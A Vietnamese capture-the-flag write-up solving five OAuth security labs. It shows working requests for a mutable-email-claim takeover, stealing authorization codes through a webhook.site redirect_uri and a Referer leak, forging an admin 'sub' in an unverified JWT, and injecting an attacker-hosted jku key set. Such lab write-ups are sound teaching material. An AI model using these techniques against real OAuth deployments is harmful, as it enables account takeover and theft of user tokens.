The main theme of the labs is to obtain authorization to access the resources of the `admin` user.
Lab 1
Claims fail; see what happens when a client implementation uses unstable claims to establish a user identity.
Có thể lab này liên quan đến **Mutable Claims Attack**.
Khi truy cập vào https://client-01.oauth.labs/ thì có nút để đăng nhập sử dụng OAuth server.
Authorize request:
https://server-01.oauth.labs/oauth/authorize?client_id=804828e4-037b-4005-bb6b-e446257425da&code_challenge=xA8v_BGWEaZekznp-iwuhvuzqAC7G0yc-NohURp6gjI&code_challenge_method=S256&redirect_uri=https%3A%2F%2Fclient-01.oauth.labs%2Fcallback&response_type=code&scope=read%3Aprofile&state=8SQVqi0Kz_Pe-ejLwzLS_Z-yi13O2N9aGawtMlj3LIo
Response thực hiện server-side redirect đến:
https://server-01.oauth.labs/login?return_to=%2Foauth%2Fauthorize%3Fclient_id%3D804828e4-037b-4005-bb6b-e446257425da%26code_challenge%3DxA8v_BGWEaZekznp-iwuhvuzqAC7G0yc-NohURp6gjI%26code_challenge_method%3DS256%26redirect_uri%3Dhttps%253A%252F%252Fclient-01.oauth.labs%252Fcallback%26response_type%3Dcode%26scope%3Dread%253Aprofile%26state%3D8SQVqi0Kz_Pe-ejLwzLS_Z-yi13O2N9aGawtMlj3LIo
Ở server, sau khi đăng nhập ta có thể chỉnh sửa profile:
Lỗ hổng này xảy ra khi client application dựa vào một claim (là một mẩu thông tin về chủ thể - user)1 mà có thể thay đổi được ở phía OAuth server chẳng hạn như email để xác thực người dùng.
Ví dụ, nếu client application sử dụng email để định danh người dùng và OAuth server cho phép người dùng thay đổi email thì attacker có thể thay đổi email của hắn rồi đăng nhập vào tài khoản của attacker như bình thường.
Sau khi đăng nhập, do client application sử dụng email để xác thực nên sẽ nhầm tưởng rằng tài khoản của attacker là tài khoản của nạn nhân (mặc dù khác username và password) mà cả 2 tài khoản này có cùng 1 email.
[Common OAuth Vulnerabilities · Doyensec's Blog](https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html#Mutable%20Claims%20Attack)
Để tấn công, ta chỉ cần thay đổi profile trong email của chúng ta thành admin@oauth.labs
rồi đăng nhập ở phía client application là sẽ có được flag.
flag{871d1dec99b890a924ebd803e77c4ea1ccb6f8c7}
Lab 2
Open redirect (No restriction) See what happens when the authorization server does not validate the `redirect_uri` at all.
For this lab, [victim.oauth.labs](https://victim.oauth.labs/) can be used to simulate victim interaction.
Lab này có thể liên quan đến việc ta có thể sử dụng redirect_uri
tùy ý để đánh cắp authorization code của nạn nhân.
Authorize request:
https://server-02.oauth.labs/oauth/authorize?client_id=07430358-7c00-4911-89c5-d0cb64a64925&redirect_uri=https%3A%2F%2Fclient-02.oauth.labs%2Fcallback&response_type=code&scope=read%3Aprofile
Decode:
https://server-02.oauth.labs/oauth/authorize?client_id=07430358-7c00-4911-89c5-d0cb64a64925&redirect_uri=https://client-02.oauth.labs/callback&response_type=code&scope=read:profile
Thay đổi redirect_uri
đến https://webhook.site/71eb4624-1c24-42ad-be52-332b559f4989
:
https://server-02.oauth.labs/oauth/authorize?client_id=07430358-7c00-4911-89c5-d0cb64a64925&redirect_uri=https%3a%2f%2fwebhook.site%2f71eb4624-1c24-42ad-be52-332b559f4989&response_type=code&scope=read%3Aprofile
Khi log in thì nhận được code trả về webhook như sau:
LYvQfkDJKRA0wo-5fExDQnyqyD64VoGSWFjNLymEL3I
Gửi cho victim URL có malicious redirect_uri
thì nhận được code như sau:
nDlwwE856fb8auU1FfUVsScqESFpi24e7IfX5PVxbNo
Truy cập vào callback request để nhận được cookie cũng như là login bằng tài khoản của nạn nhân:
https://client-02.oauth.labs/callback?code=nDlwwE856fb8auU1FfUVsScqESFpi24e7IfX5PVxbNo
flag{6d7a573a10f9884b201cfe31fe848fc3e5ad0554}
Lab 3
Open redirect (relative path restriction) See what happens when the authorization server only validates the `redirect_uri` domain.
For this lab, [victim.oauth.labs](https://victim.oauth.labs/) can be used to simulate victim interaction.
Trong lab này, redirect_uri
chỉ cho phép on-site open redirect. Khi đó, ta có thể thực hiện client-side path traversal đến một trang nào đó có off-site open redirect để tấn công. Tuy nhiên, không thể tìm thấy bất kỳ URL nào thỏa mãn điều này.
Thử thay đổi response_type
thành token
để nhận được token thông qua fragment và leak nó với Referer
header. Tuy nhiên, có 2 trở ngại:
-
response_type
chỉ có thể làcode
và không thể dùngresponse_mode=fragment
. Đoạn code chịu trách nhiệm cho hành vi này:if !slices.Contains(client.ResponseTypes, request.ResponseType) { log.Println("[OAuthService.Authorize]: response_type validation failed: requested response_type is not supported by the client") return nil, newAuthorizeError("unauthorized_client", "response_type must be set to \"code\".", *authorizeCtx.RequestRedirectURI) } if !oa.meta.ResponseTypesSupported.Contains(request.ResponseType) { log.Println("[OAuthService.Authorize]: response_type validation failed: requested response_type is not supported") return nil, newAuthorizeError("unsupported_response_type", "response_type must be set to \"code\".", *authorizeCtx.RequestRedirectURI) }
-
Redirect mặc định sẽ đưa về trang profile của nạn nhân mà không có Avatar URL của attacker nên không thể leak token thông qua
Referer
header.c.Redirect(http.StatusFound, "/profile/"+accessToken.Subject())
Thấy rằng ta có thể set Avatar URL ở trên authorization server với URL tùy ý và client application render URL này ở trang /profile
với referer-policy
là unsafe-url
. Nảy ra ý tưởng redirect về trang /profile
của attacker để leak code thông qua Referer
header.
<img id="user-avatar" class="ui circular image" src="{{ .Profile.AvatarURL }}" width="160" height="160" referrerpolicy="unsafe-url">
Thử với việc redirect về trang https://client-03.oauth.labs/profile/ATTACKER-ID thì được phép do code của client chỉ kiểm tra scheme, host và port chứ không kiểm tra path.
requested := redirectURI.URL()
if requested.Scheme != allowed.Scheme || requested.Host != allowed.Host || requested.Port() != allowed.Port() {
return nil, &oalib.VerboseError{
Err: "invalid_redirect_uri",
Description: "redirect_uri not allowed",
}
}
Đáng lẽ kịch bản trên là intended solution của lab nhưng do trang `/profile` vẫn cần authentication để truy cập nên victim không thể load được avatar URL của attacker.
Chúng ta sẽ sửa lại code của lab bằng cách cho phép truy cập đến `/profile` và nếu chưa authen thì chỉ hiển thị trang `private_profile.tmpl` (chỉ bao gồm avatar URL).
Đưa URL sau cho victim:
https://server-03.oauth.labs/oauth/authorize?client_id=e143a0a5-da6d-4a0b-9651-fd4465a9a4a5&redirect_uri=https%3a%2f%2fclient-03.oauth.labs%2fprofile%2fa1ceb477-a2c4-4c91-9dcf-26e7e57ca8cb&response_type=code&scope=read%3Aprofile
Nhận được Referer
header như sau:
https://client-03.oauth.labs/profile/a1ceb477-a2c4-4c91-9dcf-26e7e57ca8cb?code=VlnkErgI_SVgrZi3m9fH8o_qhJKgC-rzsHiKmto-Ckc
Gửi request đến https://client-03.oauth.labs/callback?code=VlnkErgI_SVgrZi3m9fH8o_qhJKgC-rzsHiKmto-Ckc
để takeover tài khoản của nạn nhân.
flag{8d3784b3baf1e771f6004f4023d70f0fba2963fe}
Lab 4
JWT signature validations are a must, see what happens when they are not verified.
Lab này sử dụng Authorization Token Flow nhưng lại exchange code lấy token ở client side.
Sau khi gửi request đến https://client-04.oauth.labs/callback?code=LuAjtCBYSD1RwrhtNrcLFOlaAkquYRglpk1R9qa2h_w&state=M-YzBRFzCW9CsG8Ai23YqPHc9QQE0AlRrauxPsJHD2g thì thay vì nhận cookie thì response lại chứa đoạn client-side script sau:
<script>
$(document).ready(function() {
let params = new URLSearchParams(window.document.location.search);
if (params.get('error') != null
|| params.get('code') == null
|| params.get('state') != 'M-YzBRFzCW9CsG8Ai23YqPHc9QQE0AlRrauxPsJHD2g') {
showError('OAuth callback failed, try again.');
return;
}
$.ajax({
method: 'POST',
url: 'https:\/\/server-04.oauth.labs\/oauth\/token',
headers: { 'Authorization': 'Basic ZjIwZTdlMjMtMDM3Ni00YzE4LTllMDUtMWY4NjIyNjRhMjg4Ojh2TTllY1ZiN1BDOVBCcG9qMjN1d2ZXdHkweUpkVlZM' },
data: jQuery.param({
'grant_type': 'authorization_code',
'code': params.get('code'),
'redirect_uri': 'https:\/\/client-04.oauth.labs\/callback',
})
}).done(function(msg) {
$.ajax({
method: 'POST',
url: '/set-tokens',
headers: { 'Content-Type': 'application/json' },
data: JSON.stringify(msg),
}).done(function() {
window.location.replace('/profile');
}).fail(function() {
showError('OAuth callback failed, try again.');
return;
})
}).fail(function() {
showError('OAuth callback failed, try again.');
return;
});
});
</script>
Đoạn script này để lộ `client_id` và `client_secret` trong `ZjIwZTdlMjMtMDM3Ni00YzE4LTllMDUtMWY4NjIyNjRhMjg4Ojh2TTllY1ZiN1BDOVBCcG9qMjN1d2ZXdHkweUpkVlZM` (base64-encoded).
Với `client_id` và `client_secret`, ta có thể thực hiện Dynamic Registration nhằm khai thác SSRF. Xem thêm [[Port Swigger - Extending OAuth with OpenID Connect#unprotected-dynamic-client-registration|Unprotected Dynamic Client Registration]].
Ngoài ra, việc để lộ `client_id` và `client_secret` cũng có thể có impact khác: [OAuth 2.0 Client Credentials Misuse in Public Apps](https://blog.sentry.security/oauth-2-0-client-credentials-misuse-in-public-apps/).
Mục đích chính của đoạn script trên là để exchange code để lấy các access token thông qua request sau:
POST /oauth/token HTTP/2
Authorization: Basic ZjIwZTdlMjMtMDM3Ni00YzE4LTllMDUtMWY4NjIyNjRhMjg4Ojh2TTllY1ZiN1BDOVBCcG9qMjN1d2ZXdHkweUpkVlZM
Accept-Language: en-US,en;q=0.9
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://client-04.oauth.labs
grant_type=authorization_code&code=LuAjtCBYSD1RwrhtNrcLFOlaAkquYRglpk1R9qa2h_w&redirect_uri=https%3A%2F%2Fclient-04.oauth.labs%2Fcallback
Response trả về sẽ có các token:
{"access_token":"eyJhbGciOiJSUzI1NiIsImtpZCI6IjAxOTI0MzE2LTY4MDAtNDgwNC04MzMyLWEwNzMwNDIyZTAxNiIsInR5cCI6ImF0K2p3dCJ9.eyJhdWQiOlsiZjIwZTdlMjMtMDM3Ni00YzE4LTllMDUtMWY4NjIyNjRhMjg4Il0sImNsaWVudF9pZCI6ImYyMGU3ZTIzLTAzNzYtNGMxOC05ZTA1LTFmODYyMjY0YTI4OCIsImV4cCI6MTc1MzYzMzI3MSwiaWF0IjoxNzUzNjI5NjcxLCJpc3MiOiJodHRwczovL3NlcnZlci0wNC5vYXV0aC5sYWJzIiwianRpIjoiY2VlNjJkYTYtNGJlNS00OGJiLWFmMjItYTcyNjViM2RmM2I3IiwibmJmIjoxNzUzNjI5NjcxLCJzY29wZSI6InJlYWQ6cHJvZmlsZSIsInN1YiI6InVzZXIifQ.QtEYT0Iiei_Uy8rTNhb_e93iUAkWFj3J8PdDRu4cREykv_5SzajRlPAhoIk1yps6KUl5R4TFo7lpkz1DrAxgTQe8lBv2Edv4GIj6OP7DnGUBt4qkpBOjAQSx1wUOeVkQ2vfN8hw-IRhPb8YRuFLmF11zAmaXeLQPmz6cgzCPpvJjrZ7Vzb5n75clNyQpSsBjc54744q1OAjGgc8sb-cvyb4pgNrUW99lUHzrbyoiQkfUYcccA51Z9Jz7u5XBfm67OyI7kGWGKmErOKodk9jQ-7kxa1tbZr3xr5OPpoejLfrbFc_tZoIpU8EEL2-cuOCFxrm5FMCvuAadcjHgrpF1Nw","token_type":"Bearer","expires_in":3600,"refresh_token":"ZXlKaGJHY2lPaUpTVTBFdFQwRkZVQ0lzSW1WdVl5STZJa0V5TlRaSFEwMGlMQ0pyYVdRaU9pSXdNVGt5TkRNeE5pMDJPREF3TFRRNE1EUXRPRE16TWkxaE1EY3pNRFF5TW1Vd01UWWlmUS5IOFE4OENhZWFJM1BxX1VHNmNQZ3JZam9welotUnZINDBqYXA3cUpWSTFJQkpWU19MSkdCbWFOR2ZfUng5M2puZUlEWFdQaHhUYlFsWk5OdFpYWU9kYzFyNVlzTndzT2hMSUVCUEpHb29Xdmwtd2tnb0hQVnpvQ0VPaXl1UHE4VUxXVXFNNV9ZYUl4c0hjbTJIRFdPWlBGN2s5N25ZeEdUZTJnRUQ2bUhmOHRrVWZraFFsSTNrdVB6UHFyaWxiSlJibzF0dUVWZHJoZVNONlI5S2tVYTFLX2hTakRGblc1aVJCOXV1WjhGbVlkZUd5RU9ZMlRHaXRFcEtId21iS29Kbl9Vazh2ZC10SHR5Q0Nnem5NOE8tWFpCalBGWm1PYTdTOGc1OWpzY2dneGZGVm50RFlNUE9WSGhEMW1jek9ma3NvVHNvQnVRcDRNNGV0Z0xRVEJLeHcuSllCN0llcEEtMThla2p5Zi5oTk4xOEdSTlpkZWlYN1AtWnFJRjlqVlVOX1dyTzMxUlNuYlhYWm51YkZ6ZzF6b05FRldzYnlZYzZEOXpuMUtvVVVjSzR2cUI1QmJ0ME1aeWRSYVk5TjM1NHpFeC1fLXpWaGJBbmtWMUV4c25sdW1hOUl4Um5XZGt4eC1yMTR4SVhycFRJenQzeWJJODd5bksxa2xOQmE0OGxYTEFvZE1IWHRIU3VZM3pIUUQwZWVWUG9SSWl4WTc1SXZFWjJzUG13NFJUM3pRV2dNWGllb1dXRmY2TVdiNmk3RHgzVHBUQXp6bUU5a1FSeGRBbEt0ekVmcU1kd1Jub1F6TWVvRWFSNlV3ZU94cXdJTU5DcVB1RFFOS1NXS1BjRFJJNFJIbzZkbFlLeGNMS0ZLN2l3R0t4OGw0dzVwU09RbEhLeXBQWW5lZU5kaXdhTWlBTkc3MlhINGJvOW9EWHlWRUVMMnBaQy01TWFnekRtR2tVSXBXeGpCTThiRndRanNpODFIVTg3QlhTbTlMaHFESFdqVVhGOUxsYU81UW1uTVgtQXpqdGVjb1VtWnZRWWd6YmZETVhKaEhWa2EzazBwQUFCU3ZvMnlldU9NdzVtbW41WEJZZXN3VUxXVWRObHVmVHNZcjREbk5NemY0RGRvSVlpVjJZMkxUZ2JHdVhkdk1LS20yY2lwOG0xaEx5VnByR2tJVGFZbWRxWGlzYzA4TW9oNmNpdmNGUlZWbTcxcGQtcWJDa3pIbk9panQxZHZnZE1saFVVbmdkVkxWenBETmZvb2FZcmlESE0yWndQZ1EwbGlBZkMtVmdZMjJKWnNMWkVaSURkWDhLcEJPVXlGckdoWFB1NFJva2RnWndRNXdYdnNVTUt2SHJSanpHTGstR3ZqR2M0U0FDUXRQZ3VrcmVLa280ZVdLTVdfLVRmb0RoSVp1X0NfY0xtRTA3Mm5wOFF4UEdWQm9lRnJZaldLOF9RaEhaUGs0Mmd4TkdlRms4YWstaUtXRjhlb0pUcmZMZHc0V0czRVNJSmhwZVg2bFBFMnJDZ0xVN1Zqdm5FSXd5eFFNUkEtVWxhaS1uTWFjdllaa25kakxRUXpLeXlfSHAyOWdUNzFZcF9uTjk1Q0lEc29oMUIzMjRKUDVzSzlLLUl5ZE4zbDdTc194YlR4REFDc05FWWNUbDVjLWlCcmFfa3dETFpHZnFTbV8xdzhuQ2dLRGF3TzNZWFUxSXZPUEhLUG1ZRExPVW1BLm5NUTY4ZkRGZjdrVWhsNTgzLWYxVnc","scope":"read:profile"}
Theo sau đó là request exchange token để lấy cookie:
POST /set-tokens HTTP/2
Host: client-04.oauth.labs
{"access_token":"eyJhbGciOiJSUzI1NiIsImtpZCI6IjAxOTI0MzE2LTY4MDAtNDgwNC04MzMyLWEwNzMwNDIyZTAxNiIsInR5cCI6ImF0K2p3dCJ9.eyJhdWQiOlsiZjIwZTdlMjMtMDM3Ni00YzE4LTllMDUtMWY4NjIyNjRhMjg4Il0sImNsaWVudF9pZCI6ImYyMGU3ZTIzLTAzNzYtNGMxOC05ZTA1LTFmODYyMjY0YTI4OCIsImV4cCI6MTc1MzYzMzI3MSwiaWF0IjoxNzUzNjI5NjcxLCJpc3MiOiJodHRwczovL3NlcnZlci0wNC5vYXV0aC5sYWJzIiwianRpIjoiY2VlNjJkYTYtNGJlNS00OGJiLWFmMjItYTcyNjViM2RmM2I3IiwibmJmIjoxNzUzNjI5NjcxLCJzY29wZSI6InJlYWQ6cHJvZmlsZSIsInN1YiI6InVzZXIifQ.QtEYT0Iiei_Uy8rTNhb_e93iUAkWFj3J8PdDRu4cREykv_5SzajRlPAhoIk1yps6KUl5R4TFo7lpkz1DrAxgTQe8lBv2Edv4GIj6OP7DnGUBt4qkpBOjAQSx1wUOeVkQ2vfN8hw-IRhPb8YRuFLmF11zAmaXeLQPmz6cgzCPpvJjrZ7Vzb5n75clNyQpSsBjc54744q1OAjGgc8sb-cvyb4pgNrUW99lUHzrbyoiQkfUYcccA51Z9Jz7u5XBfm67OyI7kGWGKmErOKodk9jQ-7kxa1tbZr3xr5OPpoejLfrbFc_tZoIpU8EEL2-cuOCFxrm5FMCvuAadcjHgrpF1Nw","token_type":"Bearer","expires_in":3600,"refresh_token":"ZXlKaGJHY2lPaUpTVTBFdFQwRkZVQ0lzSW1WdVl5STZJa0V5TlRaSFEwMGlMQ0pyYVdRaU9pSXdNVGt5TkRNeE5pMDJPREF3TFRRNE1EUXRPRE16TWkxaE1EY3pNRFF5TW1Vd01UWWlmUS5IOFE4OENhZWFJM1BxX1VHNmNQZ3JZam9welotUnZINDBqYXA3cUpWSTFJQkpWU19MSkdCbWFOR2ZfUng5M2puZUlEWFdQaHhUYlFsWk5OdFpYWU9kYzFyNVlzTndzT2hMSUVCUEpHb29Xdmwtd2tnb0hQVnpvQ0VPaXl1UHE4VUxXVXFNNV9ZYUl4c0hjbTJIRFdPWlBGN2s5N25ZeEdUZTJnRUQ2bUhmOHRrVWZraFFsSTNrdVB6UHFyaWxiSlJibzF0dUVWZHJoZVNONlI5S2tVYTFLX2hTakRGblc1aVJCOXV1WjhGbVlkZUd5RU9ZMlRHaXRFcEtId21iS29Kbl9Vazh2ZC10SHR5Q0Nnem5NOE8tWFpCalBGWm1PYTdTOGc1OWpzY2dneGZGVm50RFlNUE9WSGhEMW1jek9ma3NvVHNvQnVRcDRNNGV0Z0xRVEJLeHcuSllCN0llcEEtMThla2p5Zi5oTk4xOEdSTlpkZWlYN1AtWnFJRjlqVlVOX1dyTzMxUlNuYlhYWm51YkZ6ZzF6b05FRldzYnlZYzZEOXpuMUtvVVVjSzR2cUI1QmJ0ME1aeWRSYVk5TjM1NHpFeC1fLXpWaGJBbmtWMUV4c25sdW1hOUl4Um5XZGt4eC1yMTR4SVhycFRJenQzeWJJODd5bksxa2xOQmE0OGxYTEFvZE1IWHRIU3VZM3pIUUQwZWVWUG9SSWl4WTc1SXZFWjJzUG13NFJUM3pRV2dNWGllb1dXRmY2TVdiNmk3RHgzVHBUQXp6bUU5a1FSeGRBbEt0ekVmcU1kd1Jub1F6TWVvRWFSNlV3ZU94cXdJTU5DcVB1RFFOS1NXS1BjRFJJNFJIbzZkbFlLeGNMS0ZLN2l3R0t4OGw0dzVwU09RbEhLeXBQWW5lZU5kaXdhTWlBTkc3MlhINGJvOW9EWHlWRUVMMnBaQy01TWFnekRtR2tVSXBXeGpCTThiRndRanNpODFIVTg3QlhTbTlMaHFESFdqVVhGOUxsYU81UW1uTVgtQXpqdGVjb1VtWnZRWWd6YmZETVhKaEhWa2EzazBwQUFCU3ZvMnlldU9NdzVtbW41WEJZZXN3VUxXVWRObHVmVHNZcjREbk5NemY0RGRvSVlpVjJZMkxUZ2JHdVhkdk1LS20yY2lwOG0xaEx5VnByR2tJVGFZbWRxWGlzYzA4TW9oNmNpdmNGUlZWbTcxcGQtcWJDa3pIbk9panQxZHZnZE1saFVVbmdkVkxWenBETmZvb2FZcmlESE0yWndQZ1EwbGlBZkMtVmdZMjJKWnNMWkVaSURkWDhLcEJPVXlGckdoWFB1NFJva2RnWndRNXdYdnNVTUt2SHJSanpHTGstR3ZqR2M0U0FDUXRQZ3VrcmVLa280ZVdLTVdfLVRmb0RoSVp1X0NfY0xtRTA3Mm5wOFF4UEdWQm9lRnJZaldLOF9RaEhaUGs0Mmd4TkdlRms4YWstaUtXRjhlb0pUcmZMZHc0V0czRVNJSmhwZVg2bFBFMnJDZ0xVN1Zqdm5FSXd5eFFNUkEtVWxhaS1uTWFjdllaa25kakxRUXpLeXlfSHAyOWdUNzFZcF9uTjk1Q0lEc29oMUIzMjRKUDVzSzlLLUl5ZE4zbDdTc194YlR4REFDc05FWWNUbDVjLWlCcmFfa3dETFpHZnFTbV8xdzhuQ2dLRGF3TzNZWFUxSXZPUEhLUG1ZRExPVW1BLm5NUTY4ZkRGZjdrVWhsNTgzLWYxVnc","scope":"read:profile"}
HTTP/2 200 OK
Set-Cookie: client-04=MTc1MzYyOTY3MXxzTWR3b0tub1Z4VGp3d3MxdmRTWE1BUUljWE1sU3VMdW5MdV94aHJZb3VLUjhrQ0g4VkM5XzNoa0VfUVBLMHJqTFFZOGptNXJBdTZUYW5YbV9XTGlxbVFELUxTa0hlXy18ASN8LiRW1u8yFIGt2MbIdbeGtb6TB1nSWyS2Ciq-DGY=; Path=/; Domain=client-04.oauth.labs; Expires=Mon, 28 Jul 2025 13:41:11 GMT;
Ban đầu, nhầm tưởng rằng ta sẽ tập trung vào request /set-tokens
để mạo danh admin
bằng cách thay đổi payload của access_token
từ:
{"aud":["f20e7e23-0376-4c18-9e05-1f862264a288"],"client_id":"f20e7e23-0376-4c18-9e05-1f862264a288","exp":1753633271,"iat":1753629671,"iss":"https://server-04.oauth.labs","jti":"cee62da6-4be5-48bb-af22-a7265b3df3b7","nbf":1753629671,"scope":"read:profile","sub":"user"}
Thành:
{"aud":["f20e7e23-0376-4c18-9e05-1f862264a288"],"client_id":"f20e7e23-0376-4c18-9e05-1f862264a288","exp":1753633271,"iat":1753629671,"iss":"https://server-04.oauth.labs","jti":"cee62da6-4be5-48bb-af22-a7265b3df3b7","nbf":1753629671,"scope":"read:profile","sub":"admin"}
(Thay đổi sub
).
Tuy nhiên, việc này không thành công và luôn có lỗi xảy ra do 1 trong 2 điều kiện if
sau:
s := sessions.Default(c)
ctx := c.Request.Context()
var req dto.SetTokenRequest
if err := c.BindJSON(&req); err != nil {
log.Printf("[OAuthController.SetToken]: error: %s", err.Error())
session.Delete(s)
c.JSON(http.StatusBadRequest, gin.H{
"error": "access_token and refresh_token required",
})
return
}
if _, err := o.tokenService.Parse(req.AccessToken); err != nil {
log.Printf("[OAuthController.SetToken]: error: %s", err.Error())
session.Delete(s)
c.JSON(http.StatusBadRequest, gin.H{
"error": "invalid tokens",
})
return
}
Tuy nhiên, tồn tại một API ẩn được bảo vệ bởi middleware JWTRequired
:
c := controllers.NewUserController(userService, tokenService)
api := r.Group("/api", middlewares.NoCache(), middlewares.JWTRequired(tokenService))
api.GET("/users/me", scopesRequired("read:profile"), c.Me)
API này chỉ có thể được truy cập nếu có Authorization: Bearer
header.
Thử dùng access_token
của attacker thì thấy là có thể truy vấn thông tin về user:
GET /api/users/me HTTP/2
Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IjAxOTI0MzE2LTY4MDAtNDgwNC04MzMyLWEwNzMwNDIyZTAxNiIsInR5cCI6ImF0K2p3dCJ9.eyJhdWQiOlsiZjIwZTdlMjMtMDM3Ni00YzE4LTllMDUtMWY4NjIyNjRhMjg4Il0sImNsaWVudF9pZCI6ImYyMGU3ZTIzLTAzNzYtNGMxOC05ZTA1LTFmODYyMjY0YTI4OCIsImV4cCI6MTc1MzYzMzI3MSwiaWF0IjoxNzUzNjI5NjcxLCJpc3MiOiJodHRwczovL3NlcnZlci0wNC5vYXV0aC5sYWJzIiwianRpIjoiY2VlNjJkYTYtNGJlNS00OGJiLWFmMjItYTcyNjViM2RmM2I3IiwibmJmIjoxNzUzNjI5NjcxLCJzY29wZSI6InJlYWQ6cHJvZmlsZSIsInN1YiI6InVzZXIifQ.QtEYT0Iiei_Uy8rTNhb_e93iUAkWFj3J8PdDRu4cREykv_5SzajRlPAhoIk1yps6KUl5R4TFo7lpkz1DrAxgTQe8lBv2Edv4GIj6OP7DnGUBt4qkpBOjAQSx1wUOeVkQ2vfN8hw-IRhPb8YRuFLmF11zAmaXeLQPmz6cgzCPpvJjrZ7Vzb5n75clNyQpSsBjc54744q1OAjGgc8sb-cvyb4pgNrUW99lUHzrbyoiQkfUYcccA51Z9Jz7u5XBfm67OyI7kGWGKmErOKodk9jQ-7kxa1tbZr3xr5OPpoejLfrbFc_tZoIpU8EEL2-cuOCFxrm5FMCvuAadcjHgrpF1Nw
Accept-Language: en-US,en;q=0.9
Accept: */*
Origin: https://client-04.oauth.labs
Priority: u=1, i
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 60
{"firstname":"attacker","lastname":"","email":"","extra":""}
Thay đổi sub
trong payload của JWT thành admin
thì truy vấn được thông tin của tài khoản admin
:
{"firstname":"Dick","lastname":"Hardt","email":"admin@oauth.labs","extra":"flag{c2606225fce191368f89c013e9d38fc3c7d2f72f}"}
flag{c2606225fce191368f89c013e9d38fc3c7d2f72f}
Lab 5
JWT signature validations done wrong, see what happens when `jku` claims are not properly handled.
Có thể lab này liên quan đến việc inject vào jku
field của JWT2.
Truy cập đến /.well-known/jwks.json
thì có JSON sau:
{
"keys": [
{
"alg": "RS256",
"e": "AQAB",
"kid": "01924316-6800-4804-8332-a0730422e016",
"kty": "RSA",
"n": "4x7t9d3y-dTqz3LjzAH075MOwJkL6C9zaM-7zHhAonJwql1AJOcaOTDYTa30C0e0lUPA6N5gZzZUPtnzlOq4HHEekLIEmwdsXR0544FzKiNK9EgphkbovrWcBodk5x77yi-wtvLpoztwr27Mzh7XSxsSqPQawjoHkb9iwZYeXPJ2OpihovP5nJct2pDoMv0wl-urlVOgGRHs8QJ25dRwve3EfYD8P6xN2QvKZRgTiX6ik9pmIgs-82d-SLjGjJ5DFp8qN8WCkbzt_-Z7oB3nfPtQouYDY0fbwS8R7fDGFY8eclAPi1sbu-70zne_Bm_ZTsFpkzr3xckvCjH8QuhYmQ",
"use": "sig"
}
]
}
Xây dựng một JWK set (JSON Web Key Set) với thuật toán RSA-2048:
{
"keys": [
{
"alg": "RS256",
"e": "AQAB",
"kid": "c5ad85ca-8e7b-4d24-bd5f-788dee23a24f",
"kty": "RSA",
"n": "rFJuv991qAbJ41HWwB00JXWDXme3o8bp_VTacjGe9cU9v0SfSDO6rULTt6ha2F_4V9Jt9VsTof1KjIH8rUoAycHhz1NG4IeMQx7k2HhIBJvYrFpB7jgK1WrJ_YZLdWVvO9S0NgqfGYCtZio7cuu-iN1JZnn-m0vSLZn3Cvj5Enq3vQkd_HceNU-rnargMd-WlIt6Mz8RMkWU5jlbHQKN1B8fqRt9ArermF_TypwAeMZ03s7aZ-EZ90oN-D_MAv7dIh-wKNq3BdMPmGWjRa_W0b-zZ1g5aedh0cIxtSR5_-px_f-LRpox9rhSm7BrBrNFENNL4HASTD9adelN4nwQsQ",
"use": "sig"
}
]
}
Header và payload của một JWT hợp lệ:
{
"alg": "RS256",
"jku": "https://server-05.oauth.labs/.well-known/jwks.json",
"kid": "01924316-6800-4804-8332-a0730422e016",
"typ": "at+jwt"
}
{
"aud": [
"258e99a8-d0d7-450d-ad94-bd1e07381dab"
],
"client_id": "258e99a8-d0d7-450d-ad94-bd1e07381dab",
"exp": 1753634343,
"iat": 1753630743,
"iss": "https://server-05.oauth.labs",
"jti": "82b02d41-4de5-4258-a19e-f84a9a6d93ea",
"nbf": 1753630743,
"scope": "read:profile",
"sub": "user"
}
Sửa header và payload lại thành như sau:
{
"alg": "RS256",
"jku": "http://host.docker.internal:8000/jws.json",
"kid": "c5ad85ca-8e7b-4d24-bd5f-788dee23a24f",
"typ": "at+jwt"
}
{
"aud": [
"258e99a8-d0d7-450d-ad94-bd1e07381dab"
],
"client_id": "258e99a8-d0d7-450d-ad94-bd1e07381dab",
"exp": 1753634343,
"iat": 1753630743,
"iss": "https://server-05.oauth.labs",
"jti": "82b02d41-4de5-4258-a19e-f84a9a6d93ea",
"nbf": 1753630743,
"scope": "read:profile",
"sub": "admin"
}
Có thể thấy, ta host jku
ở localhost và trỏ kid
đến kid
có trong key vừa tạo ở trên.
Ngoài ra, ta cũng chỉnh sub
thành admin
để mạo danh admin
.
Response trả về có flag:
{"firstname":"Dick","lastname":"Hardt","email":"admin@oauth.labs","extra":"flag{a376f21957ce638d1a7fbd6784919df012c44483}"}
flag{a376f21957ce638d1a7fbd6784919df012c44483}
Resources
Footnotes
-
Một ví dụ về claim:
↩{ "sub": "1234567890", "name": "LÊ MINH QUÂN", "email": "quan@example.com" }
-
Xem thêm JWT Header Parameter Injections ↩